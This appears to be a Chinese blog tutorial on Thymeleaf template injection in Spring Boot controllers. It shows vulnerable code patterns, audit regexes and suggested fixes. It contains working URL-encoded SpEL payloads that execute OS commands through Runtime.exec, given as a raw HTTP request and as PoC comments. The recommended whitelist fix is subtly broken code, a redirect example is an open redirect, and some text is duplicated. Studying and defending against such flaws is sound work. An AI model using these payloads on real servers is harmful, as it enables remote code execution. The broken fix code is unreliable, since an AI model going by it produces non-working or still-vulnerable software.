当前位置: 首页 > news >正文

thymeleaf模板注入学习与研究--查找与防御

一、日常编码中常见的两种漏洞场景

1.1 模板参数外部可控

@RequestMapping("/path")public String path(@RequestParam String lang) {return lang ;}

实际开发过程中 依靠我丰富的想象力只能想出 换主题 这种场景下可能会出现 大佬们自行脑补吧。

1.2 使用@GetMapping注解 且没有return

根据spring boot定义,如果controller无返回值,则以GetMapping的路由为视图名称。

当然,对于每个http请求来讲,其实就是将请求的url作为视图名称,调用模板引擎去解析。

@GetMapping("/doc/{document}")public void getDocument(@PathVariable String document) {logger.info("Retrieving " + document);}

tips:没有return 就是返回值为viod。

二 、如何构造payload

通过**${}**::.x构造表达式会由Thymeleaf去执行

__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d__::.xGET /doc/__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d__::.x HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Cookie: Hm_lvt_1cd9bcbaae133f03a6eb19da6579aaba=1659928725
Connection: close

payload构造

注意: 模板名称后存在拼接的payload必须以 ::.x结尾

package com.thymeleaf.jack.controller;import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;/*** Author:Jack @Date:2022.09.28*/// 通过__${}__::.x构造表达式会由Thymeleaf去执行
@Controller
public class demo {private static final Logger logger = LogManager.getLogger(demo.class);@RequestMapping("/index")public String getIndex(Model model) {model.addAttribute("name", "jack");return "index";}// 模板后存在拼接的payload必须以 ::.x结尾
//path?lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d__::.x@RequestMapping("/path")public String path(@RequestParam String lang) {return "user/" + lang + "/welcome";}// 根据spring boot定义,如果controller无返回值,则以GetMapping的路由为视图名称。// 当然,对于每个http请求来讲,其实就是将请求的url作为视图名称,调用模板引擎去解析
//poc:/doc/__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d__::.x@GetMapping("/doc/{document}")public void getDocument(@PathVariable String document) {logger.info("Retrieving " + document);}//poc 结尾可以去除 ::.x///fragment?section=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d__@GetMapping("/fragment")public String fragment(@RequestParam String section) {return "welcome :: " + section; //fragment is tainted}}<!DOCTYPE html>
<html lang="en" xmlns:th="http://www.thymeleaf.org">
<head><meta charset="UTF-8"><title>title</title>
</head>
<body>
hello 第一个Thymeleaf程序
<div th:text="${name}"></div>
</body>
</html>

三、 查找漏洞

黑盒:更换主题等页面打payload

场景1: 切换主题/背景 的功能区,将参数改为 payload。

白盒审计:

a.模板参数外部可控

这个很难写出真正意义上的漏洞匹配的正则

我在日常的代码审计过程中这样的

1 查看所有的模板文件名称 假设index.html开始

2 正则搜索控制器return.*?\".*?模板名称

return.*?\".*?index

image查看该接口中
index 参数,

是不是外部可控,

参数 中是否 不含有 HttpServlet,

rerun前面 是不是 没有重定向 redirect,

如果都是 那就存在此漏洞,

其实模板文件也不会很多 ,所以这样去白盒审计这个漏洞。

b.查找含参数@GetMapping路由 无return

先正则@GetMapping\(.*?\)\s*public\s+void/gm

image

注意 多行匹配加全局搜索 这样才不会遗漏,

image

四、漏洞修复

我个人推荐的修复方式

我个人任务应该白名单的修复方式。

@RequestMapping("/vulnpath")public String path(@RequestParam String lang) {return lang;}@RequestMapping("/safepath")public String path(@RequestParam int lang) {int num = request.getParemeter("lang");HashMap<Integer, String> tems = new HashMap<Integer, String>();tems.put(1, "red template");tems.put(2, "yellow template");tems.put(3, "green template");return tems.get(num)}

网上搜集的修复方式

我个人觉得不完美,安全不能影响业务需求呀,这样修复影响了功能使用。

1 使用注解@ResponseBody或者@RestController则不再调用模板解析
2 模板名称由redirect:或forward:开头(
@GetMapping("/safe/redirect")
public String redirect(@RequestParam String url) {return "redirect:" + url; //CWE-601, as we can control the hostname in redirect

不走ThymeleafView渲染即无法利用,

根据spring
boot定义,如果名称以redirect:开头,则不再调用ThymeleafView解析,调用RedirectView去解析controller的返回值。

3 参数中有HttpServletResponse,设置为HttpServletResponse,Spring认为它已经处理了HTTP

Response,因此不会发生视图名称解析。

@GetMapping("/safe/doc/{document}")
public void getDocument(@PathVariable String document, HttpServletResponse response) {log.info("Retrieving " + document);
}

Response,因此不会发生视图名称解析。

@GetMapping("/safe/doc/{document}")
public void getDocument(@PathVariable String document, HttpServletResponse response) {log.info("Retrieving " + document);
}

最后

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

同时每个成长路线对应的板块都有配套的视频提供:


当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料&工具,并且已经帮大家分好类了。

因篇幅有限,仅展示部分资料,有需要的小伙伴,可以【扫下方二维码】免费领取:

相关文章:

thymeleaf模板注入学习与研究--查找与防御

一、日常编码中常见的两种漏洞场景 1.1 模板参数外部可控 RequestMapping("/path")public String path(RequestParam String lang) {return lang ;}实际开发过程中 依靠我丰富的想象力只能想出 换主题 这种场景下可能会出现 大佬们自行脑补吧。 1.2 使用GetMappin…...

第七章:Linux最小化搭建环境解说2

配置IP地址&#xff1a;我们先要到网卡配置文件夹里&#xff0c;路径是/etc/sysconfig/network-scripts/&#xff0c;有点长&#xff0c;不过没事&#xff0c;我们要学会习惯&#xff0c;这还是经常用的。然后就是用ls命令查看下面有什么&#xff0c;只有一个文件ifcfg-ens160&…...

两道链表经典算法题---链表有无环(基础+进阶)

生活就像一盒巧克力&#xff0c;你永远不知道你会得到什么。——《阿甘正传》目前自己粗略的学完数据结构&#xff0c;正在开始刷算法题目。个人觉得算法是一个积累&#xff0c;循序渐进的的过程&#xff0c;需要不断加量&#xff0c;进而达到所谓的质。链表作为数据结构一个重…...

2023/1/14总结

今天学习的是c语法知识。 容器arry&#xff1a; 通俗来说这个容器就i是c语言的数组&#xff0c;和C中vevtor不同&#xff0c;arry是定长度的&#xff0c;而vector是动态数组。头文件为&#xff1a;<arry> 初始化&#xff1a; arry<数据类型&#xff0c;你所要声明…...

Python 之 NumPy 统计函数、数据类型和文件操作

文章目录一、统计函数1. 求平均值 mean()2. 中位数 np.median3. 标准差 ndarray.std4. 方差 ndarray.var()5. 最大值 ndarray.max()6. 最小值 ndarray.min()7. 求和 ndarray.sum()8. 加权平均值 numpy.average()二、数据类型1. 数据存储2. 定义结构化数据3. 结构化数据操作三、…...

互联网新时代要到来了(一)什么是Web3.0?

什么是Web3.0? tips&#xff1a;内容来自百度百科、知乎、搜狐新闻、李留白公众号、CSDN「Meta.Qing」博客等网页 什么是Web3.0?1.什么是Web3.0&#xff08;概念介绍&#xff09;&#xff1f;2.Web3.0简单理解3.Web3.0的技术特点4.Web3.0项目1.什么是Web3.0&#xff08;概念…...

[Yocto] 直接向deploy/images目录部署binary

最近用yocto的时候碰到一个问题,有一些IP的FW binary是从别的地方直接拿来的,没有source code,有一个需求就是需要把它用wks script的方式把它们打包到最后的image里,这篇文章就是来谈谈这个问题。 yocto patch/deploy等做了什么 首先,虽然我们的code,bbfile,或者说pa…...

HarmonyOS Connect原子化服务功能开发(Wi-Fi/Combo)设备控制开发与实现(二)

规设备控制 在“device”目录下的“DeviceApplication.java”文件中&#xff0c;在onInitialize函数中初始化应用。示例代码如下&#xff1a; Override public void onInitialize() {AiLifeServiceHelper.initApplication(this);DeviceHandlerAbility.register(this, "&qu…...

浅析 Makefile

Makefile逻辑 Makefile就是将一系列的工作流串在一起自动执行&#xff0c;构成Makefile最基本的要素是目标、依赖、命令。也就是为了实现目标需要哪些依赖并执行什么样的命令。 target: dependences1 dependences2 ... command1 command2 ...其中&#xff0c;target表示要生…...

保护品牌线上声誉的5种方法

我们如今生活在一个搜索便捷的世界&#xff0c;对于一个企业和个人来说&#xff0c;品牌的线上声誉也尤为重要。在客户考虑与您的公司开展业务之前&#xff0c;他们理所当然会先使用众多软件和平台搜索相关信息&#xff0c;以帮助他们了解和做决定。 因此&#xff0c;您的品牌…...

Java多重选择结构,超详细整理,适合新手入门

目录 一、什么是多重选择结构&#xff1f; 二、if 语句的语法 1、什么是嵌套if语句&#xff1f; 2、if 语句循环基本用法&#xff1a; 3、案例&#xff1a; 二、if...else多重选择结构语法 1、什么是if-else语句&#xff1f; 2、if...else 循环基本用法 3、案例&#…...

SCI写作,一定要避开这些“雷点”!

SCI论文写作中&#xff0c;除了要符合各部分的写作要求&#xff0c;还有许多细节问题需要我们注意&#xff0c;不然可能一不小心就会“踩雷”。 今天我们就来和大家分享SCI各个部分写作时的注意事项。 下面就进入正题&#xff01; SCI写作注意事项 01 标题的拟定 1.避免使用无…...

3GPP-NR Band14标准定义频点和信道(3GPP V17.7.0 (2022-12))

Reference test frequencies for NR operating band n14 Table 4.3.1.1.1.14-1: Test frequencies for NRoperating band n14 and SCS 15 kHz CBW [MHz]carrierBandwidth...

分库分表索引设计:分布式环境下的 主键索引、二级索引、全局索引的最佳设计实践

文章目录主键选择索引设计全局表唯一索引总结结语主键选择 对主键来说&#xff0c;要保证在所有分片中都唯一&#xff0c;它本质上就是一个全局唯一的索引。如果用大部分同学喜欢的自增作为主键&#xff0c;就会发现存在很大的问题。 因为自增并不能在插入前就获得值&#xf…...

2023年全国最新保安员精选真题及答案

百分百题库提供保安员考试试题、保安职业资格考试预测题、保安员考试真题、保安职业资格证考试题库等&#xff0c;提供在线做题刷题&#xff0c;在线模拟考试&#xff0c;助你考试轻松过关。 一、单选题&#xff08;1-480题&#xff09;以下备选答案中只有一项最符合题目要求&a…...

计算机网络之http07 http2,http3

HTTP1.2 http1.2都做了哪些优化 (1)头部压缩 使用HPACK压缩头部 头部冗长&#xff0c;大量重复字段 &#xff08;2&#xff09;二进制帧 将报文头部和内容字符编码改为二进制格式 字符编码未压缩 &#xff08;3&#xff09;并发传输 解决h1.1 队头阻塞问题&#xff0c;多车道 …...

内网渗透(二十五)之Windows协议认证和密码抓取-使用Hashcat和在线工具破解NTLM Hash

系列文章第一章节之基础知识篇 内网渗透(一)之基础知识-内网渗透介绍和概述 内网渗透(二)之基础知识-工作组介绍 内网渗透(三)之基础知识-域环境的介绍和优点 内网渗透(四)之基础知识-搭建域环境 内网渗透(五)之基础知识-Active Directory活动目录介绍和使用 内网渗透(六)之基…...

TongWeb8防止System.exit代码导致的进程停止

现象&#xff1a;当应用中存在System.exit 、Runtime.exit代码执行时&#xff0c;会导致TongWeb进程停止&#xff0c;从而产生如下日志&#xff1a;2023-02-14 09:47:36 [WARN] - The web application [webtest01] is still processing a request that has yet to finish. This…...

PMP每年考几次,费用如何?

一&#xff0c;PMP每年考几次&#xff0c;怎么准备&#xff1f; PMP项目管理证书是美国PMI发起的在全球200多个国家进行的项目管理专业人士资格认证&#xff0c;它的含金量和给认证者带来的作用已经很明显。 PMP考试是项目管理专业人士资格认证考试&#xff0c;通过PMP考试是…...

【Kubernetes】【一】Kubernetes介绍

Kubernetes介绍 应用部署方式演变 在部署应用程序的方式上&#xff0c;主要经历了三个时代&#xff1a; 传统部署&#xff1a;互联网早期&#xff0c;会直接将应用程序部署在物理机上 优点&#xff1a;简单&#xff0c;不需要其它技术的参与 缺点&#xff1a;不能为应用程序定…...

《仓储与配送管理》(第二版)-仓储篇

📌 仓储管理核心知识点梳理 1. 仓储管理的本质定义 核心内涵:对物品入库→保管→出库全流程的计划、组织、指挥、监督与调节。 本质:不仅是 “存东西”,更是对仓库内物品的保管、控制与业务活动管理,保障物资高效流转与安全。 2. 仓储管理的核心内容 模块 核心要点 仓库…...

3分钟掌握CyberChef:让数据处理效率提升10倍的开源神器

3分钟掌握CyberChef&#xff1a;让数据处理效率提升10倍的开源神器 【免费下载链接】CyberChef CyberChef: 是一个开源的在线工具&#xff0c;可以帮助安全分析师自动化处理和分析网络安全相关的任务&#xff0c;如数据加密、压缩和混淆等。适合安全分析师和网络工程师使用 Cyb…...

Wavedrom-从入门到精通:用代码绘制专业数字时序图

1. 为什么硬件工程师需要代码绘时序图&#xff1f; 在数字电路设计和协议文档编写中&#xff0c;时序图就像工程师的"电路语言"。传统绘图工具如Visio或PPT有个致命伤&#xff1a;每次修改时钟相位或信号名称&#xff0c;都需要手动拖拽调整所有关联元素。我曾在项目…...

PyTorch广播机制详解:为什么你的张量运算突然报错?

PyTorch广播机制详解&#xff1a;为什么你的张量运算突然报错&#xff1f; 在深度学习项目中&#xff0c;张量运算的维度匹配问题就像编程中的"指针错误"一样令人头疼。当你信心满满地运行一个看似简单的矩阵乘法时&#xff0c;突然跳出的RuntimeError: The size of …...

OpCore Simplify:快速构建黑苹果OpenCore EFI的终极指南

OpCore Simplify&#xff1a;快速构建黑苹果OpenCore EFI的终极指南 【免费下载链接】OpCore-Simplify A tool designed to simplify the creation of OpenCore EFI 项目地址: https://gitcode.com/GitHub_Trending/op/OpCore-Simplify OpCore Simplify是一款专为黑苹果…...

【目标检测数据预处理】YOLO与Pascal VOC格式互转实战指南(附代码解析)

1. 为什么需要YOLO与Pascal VOC格式互转 第一次接触目标检测项目时&#xff0c;我被各种数据格式搞得晕头转向。明明都是标注同一个物体&#xff0c;为什么YOLO要用.txt文件&#xff0c;而Faster R-CNN却要用.xml文件&#xff1f;后来在实际项目中踩过几次坑才明白&#xff0c;…...

2023最全Figma样机指南:从Free iPhone 12 Pro Mockup到实战透视效果

2023 Figma样机高阶应用指南&#xff1a;从资源整合到品牌化视觉呈现 在数字产品设计领域&#xff0c;样机展示早已超越了简单的界面包装功能&#xff0c;成为品牌叙事和用户体验验证的关键环节。Figma作为当下主流设计工具&#xff0c;其开放的插件生态和协作特性为样机应用提…...

【数据结构与算法】LIS专项练习

LIS 专项练习题目编号说明【模板】最长上升子序列B3637纯LIS模板&#xff0c;n≤10⁵&#xff0c;用二分导弹拦截P1020LIS 贪心&#xff0c;经典题合唱队形P1091LIS LDS 组合友好城市P2782排序后转LIS1.#include<iostream> #include<vector> using namespace std…...

西门子S7 - 200PLC与组态王构建自动化搬运机械手组态系统

西门子S7-200PLC和组态王自动化搬运机械手的组态系统在自动化控制领域&#xff0c;西门子S7 - 200PLC与组态王相结合来打造自动化搬运机械手的组态系统&#xff0c;是实现高效生产流程的关键一步。今天咱就唠唠这其中的门道。 西门子S7 - 200PLC基础 西门子S7 - 200PLC作为一款…...

translategemma-4b-it效果实测:Ollama环境下对模糊/低清/倾斜图片的鲁棒性翻译表现

translategemma-4b-it效果实测&#xff1a;Ollama环境下对模糊/低清/倾斜图片的鲁棒性翻译表现 你有没有遇到过这种情况&#xff1a;在网上找到一张很有用的英文图表&#xff0c;但图片质量很差&#xff0c;要么模糊不清&#xff0c;要么分辨率低得可怜&#xff0c;甚至还有点…...